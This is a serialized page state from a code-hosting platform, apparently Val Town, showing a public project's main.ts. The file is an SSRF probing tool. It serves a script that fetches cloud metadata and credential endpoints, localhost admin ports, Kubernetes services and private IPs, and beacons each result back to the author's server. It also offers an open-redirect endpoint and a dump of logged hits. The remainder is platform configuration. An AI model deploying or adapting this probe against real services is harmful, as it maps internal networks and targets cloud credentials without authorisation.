[{"_1":2,"_3":-5,"_4":-5},"loaderData",{"_5":6,"_7":8,"_9":10},"actionData","errors","root",{"_155":156,"_157":158},"routes/_app.x.$handle.$name",{"_11":12,"_13":14,"_15":16,"_18":19,"_17":-7,"_117":-5,"_20":118,"_22":119,"_120":121,"_122":123,"_26":124,"_24":125,"_126":-5,"_127":-5,"_128":52,"_129":130,"_131":43,"_132":-5,"_133":-5,"_134":135},"routes/_app.x.$handle.$name.branch.$branch.code.$",{"_11":12,"_13":14,"_15":16,"_17":-7,"_18":19,"_20":21,"_22":23,"_24":25,"_26":27,"_28":-5,"_29":-5,"_30":-5,"_31":-5,"_32":-5},"handle","keekeetest","name","ktest3","branchName","main","version","path","main.ts","project",{"_33":60,"_13":14,"_44":61,"_62":-5,"_63":52,"_64":65,"_66":65,"_67":68,"_69":-5,"_70":71,"_72":36,"_73":43,"_74":-5,"_75":-5,"_76":77,"_78":79,"_80":81,"_82":83,"_84":85,"_86":-5,"_87":88,"_89":88,"_90":91,"_92":91,"_93":91,"_94":88,"_95":88,"_96":97,"_98":99,"_100":101,"_102":52},"tree",[55],"file",{"_33":34,"_13":19,"_35":36,"_37":-5,"_38":39,"_40":41,"_42":43,"_44":45,"_17":46,"_47":48,"_49":50,"_51":52,"_53":-5,"_18":54},"contents",[],"upstream","pull","ahead","behind","envVars","id","d20c0b3c-894c-491b-b057-a8fd57f4b788","fileId","18f333c2-ada3-11f1-b354-1607ee4eb77e","parentId","branchId","498a9a8f-f322-4927-a947-1cdb91dc690b","branchVersion",12,"latest",true,"createdAt",["D",1789105888611],11,"fileType","http","content","import sqlite from \"https://esm.town/v/std/sqlite/main.ts\";\n\nawait sqlite.execute(\n \"CREATE TABLE IF NOT EXISTS ssrf_hits (id INTEGER PRIMARY KEY AUTOINCREMENT, time TEXT, type TEXT, method TEXT, path TEXT, target TEXT, status TEXT)\",\n);\n\nexport default async function (req: Request): Promise {\n const url = new URL(req.url);\n\n if (url.searchParams.has(\"dump\")) {\n const result = await sqlite.execute(\n \"SELECT time, type, method, path, target, status FROM ssrf_hits ORDER BY id DESC LIMIT 200\",\n );\n const rows = result.rows.map((r: any[]) => ({\n time: r[0],\n type: r[1],\n method: r[2],\n path: r[3],\n target: r[4],\n status: r[5],\n }));\n return new Response(JSON.stringify(rows, null, 2), {\n headers: { \"content-type\": \"application/json\" },\n });\n }\n\n if (url.searchParams.has(\"clear\")) {\n await sqlite.execute(\"DELETE FROM ssrf_hits\");\n return new Response(\"cleared\");\n }\n\n if (url.pathname === \"/log\") {\n await sqlite.execute(\n \"INSERT INTO ssrf_hits (time, type, target, status) VALUES (?, ?, ?, ?)\",\n [\n new Date().toISOString(),\n \"scan-result\",\n url.searchParams.get(\"t\"),\n url.searchParams.get(\"s\"),\n ],\n );\n const gif = Uint8Array.from(\n atob(\"R0lGODlhAQABAIAAAAAAAP///ywAAAAAAQABAAACAUwAOw==\"),\n (c) => c.charCodeAt(0),\n );\n return new Response(gif, { headers: { \"content-type\": \"image/gif\" } });\n }\n\n if (url.pathname.startsWith(\"/scan\")) {\n const base =\n \"https://keekeetest--18f333c2ada311f1b3541607ee4eb77e.web.val.run\";\n const targets = [\n base + \"/\",\n \"http://169.254.169.254/latest/meta-data/\",\n \"http://169.254.170.2/v2/metadata\",\n \"http://127.0.0.1:15000/\",\n \"http://127.0.0.1:15000/clusters\",\n \"http://localhost:15000/stats\",\n \"http://kubernetes.default.svc/healthz\",\n \"http://kubernetes.default.svc.cluster.local/healthz\",\n \"http://169.254.170.2/v2/credentials\",\n \"http://10.0.0.1/\",\n \"http://10.96.0.1/\",\n \"http://192.0.2.1/\",\n ];\n const scriptLines = [\n \"var base = \" + JSON.stringify(base) + \";\",\n \"var targets = \" + JSON.stringify(targets) + \";\",\n \"function ping(t, s) { var img = new Image(); img.src = base + '/log?t=' + encodeURIComponent(t) + '&s=' + encodeURIComponent(s); }\",\n \"ping('js-start', 'started');\",\n \"targets.forEach(function(t) {\",\n \" var ctrl = new AbortController();\",\n \" var timer = setTimeout(function(){ ctrl.abort(); }, 1500);\",\n \" fetch(t, { mode: 'no-cors', signal: ctrl.signal })\",\n \" .then(function(){ clearTimeout(timer); ping(t, 'resolved'); })\",\n \" .catch(function(e){ clearTimeout(timer); ping(t, 'rejected:' + (e && e.name)); });\",\n \"});\",\n ];\n const script = scriptLines.join(\"\\n\");\n const lt = String.fromCharCode(60);\n const gt = String.fromCharCode(62);\n const openTag = lt + \"script\" + gt;\n const closeTag = lt + \"/script\" + gt;\n const html = \"\" + openTag + script + closeTag +\n \"

scanning

\";\n return new Response(html, {\n status: 200,\n headers: { \"content-type\": \"text/html\" },\n });\n }\n\n await sqlite.execute(\n \"INSERT INTO ssrf_hits (time, type, method, path) VALUES (?, ?, ?, ?)\",\n [new Date().toISOString(), \"raw-hit\", req.method, url.pathname],\n );\n\n if (url.pathname.startsWith(\"/redirect/\")) {\n const encodedTarget = url.pathname.slice(\"/redirect/\".length);\n const target = decodeURIComponent(encodedTarget);\n return new Response(null, { status: 302, headers: { Location: target } });\n }\n\n const accept = req.headers.get(\"accept\") || \"\";\n if (accept.includes(\"image\")) {\n const gif = Uint8Array.from(\n atob(\"R0lGODlhAQABAIAAAAAAAP///ywAAAAAAQABAAACAUwAOw==\"),\n (c) => c.charCodeAt(0),\n );\n return new Response(gif, { headers: { \"content-type\": \"image/gif\" } });\n }\n\n return new Response(\n \"t

VALTOWN-MARKER-9182

bodytest-9182

\",\n { status: 200, headers: { \"content-type\": \"text/html\" } },\n );\n}","deleted",false,"label",[19],{"_33":34,"_13":19,"_35":36,"_37":-5,"_38":39,"_40":41,"_42":43,"_44":56,"_17":46,"_47":48,"_49":50,"_51":52,"_53":-5,"_57":58,"_18":59},["D",1789105888611],"children",[],[19],"4d1ba924-1846-49d1-83e7-13a8270b0dd2",["D",1789105143473],"deletedAt","legacyEnvVars","privacy","public","httpPrivacy","description","","imageUrl","userId","5cf833c3-55e9-493d-abda-ded425f7f0dd","pinnedFileId","pinPreview","pinMigrated","screenshotVersion","likeCount",0,"orgId","019f42ea-99f8-7162-b165-4dd364d8479a","tursoName","4d1ba924184649d183e713a8270b0dd2","tursoHostname","4d1ba924184649d183e713a8270b0dd2-val-town.aws-us-east-2.turso.io","tursoMeasuredAt",["D",1789539652806],"pinned","userPerm","r","valPerm","blobPerm","rw","emailPerm","sqlitePerm","projectPerm","telemetryPerm","user",{"_11":12,"_116":68},"org",{"_11":12,"_111":68,"_112":68,"_70":71,"_113":114,"_115":52},"branch",{"_17":41,"_13":16,"_33":39,"_103":60,"_104":-5,"_105":-5,"_106":-5,"_107":-5,"_108":-5,"_109":14,"_110":12},"isOwned","projectId","forkedBranchId","forkedBranchVersion","forkedProjectPrivacy","forkedProjectId","forkedProjectOrgId","projectName","userHandle","displayName","avatar","tier","free","canRestrictVals","profileImageUrl","adoptOrgId",{"_33":60,"_13":14,"_44":150,"_62":-5,"_63":52,"_64":65,"_66":65,"_67":68,"_69":-5,"_70":71,"_72":36,"_73":43,"_74":-5,"_75":-5,"_76":77,"_78":79,"_80":81,"_82":83,"_84":151,"_86":-5,"_87":88,"_89":88,"_90":91,"_92":91,"_93":91,"_94":88,"_95":88,"_96":152,"_98":153,"_100":154,"_102":52},[147],"files",[147],"counts",{"_137":77,"_138":139,"_140":77,"_32":141,"_142":143},[],{"_33":34,"_13":19,"_35":36,"_37":-5,"_38":39,"_40":41,"_42":43,"_44":45,"_17":46,"_47":48,"_49":50,"_51":52,"_53":-5,"_18":136},"upstreamProject","upstreamBranch","emptyEnvVars","flags",[],"hasHttpFiles","grants","orgs","customDomains",{},[19],"pulls","branches",1,"forks",{"_144":77,"_146":77},"connections",{"_144":77,"_145":77},"count","unfilledCount","emptyCount",{"_33":34,"_13":19,"_35":36,"_37":-5,"_38":39,"_40":41,"_42":43,"_44":56,"_17":46,"_47":48,"_49":50,"_51":52,"_53":-5,"_57":148,"_18":149},[],[19],["D",1789105143473],["D",1789539652806],{"_11":12,"_116":68},{"_11":12,"_111":68,"_112":68,"_70":71,"_113":114,"_115":52},{"_17":41,"_13":16,"_33":39,"_103":60,"_104":-5,"_105":-5,"_106":-5,"_107":-5,"_108":-5,"_109":14,"_110":12},"ctx",{"_96":-5,"_133":188,"_189":190,"_191":192,"_193":52,"_194":52,"_195":52,"_196":43,"_197":-5,"_198":-7,"_199":-7,"_200":77,"_201":52,"_202":52,"_203":-5,"_204":52,"_205":52,"_206":52,"_207":-5},"ENV",{"_159":160,"_161":162,"_163":16,"_164":165,"_166":167,"_168":169,"_170":171,"_172":173,"_174":175,"_176":177,"_178":179,"_180":181,"_182":183,"_184":185,"_186":187},"REACT_APP_SENTRY_DSN","https://586020d86f05489db63a554690acf1e9@o1398359.ingest.sentry.io/6724499","RENDER_GIT_COMMIT","e87eb04e707cf64e7e532c8e8ec395f209e17f15","RENDER_GIT_BRANCH","POSTHOG_API_TOKEN","phc_nmoyuAkStEZuUp69rYlg1DZgrIt19Gx0Y4Hwf8tGgJP","POSTHOG_API_HOST","https://wart.val.town","WEB_API_TEMPLATE","https://{val}.web.val.run","APP_URL","https://www.val.town","MODULE_URL","https://esm.town","VANITY_WEB_API_TEMPLATE","https://{label}.val.run/","DENOLS_URL","https://lsp.val.town","NODE_ENV","production","CLOUDFLARE_TURNSTILE_SITE_KEY","0x4AAAAAACtaIZJH7s9rBMZ6","GOOGLE_CLIENT_ID","875989696899-jtsqkhlbdv5jrlsk8631p7ipjg3c6o62.apps.googleusercontent.com","STRIPE_PUBLISHABLE_KEY","pk_live_51N2zvWEpZTTLipIkVEwXrUG9AT0yeOOEYxszarZT1jpsZV58Ly6wlg3SltZpHN26CUalOBmUSY7adQRQiSkCZz2500qSXNkf8Y","API_URL","https://api.val.town",[],"preferencesKeybindings","default","preferencesTheme","light","preferencesFixers","preferencesCopilot","preferencesSelectionAi","preferencesCloseBrackets","preferencesChatPanelState","preferencesDprint","preferencesDenofmt","notificationCount","flagDenols","isBusinessOrgMember","businessOrgHandle","isBusinessOrgAdmin","isHigherTownieTier","navCollapsed","currentOrgId"]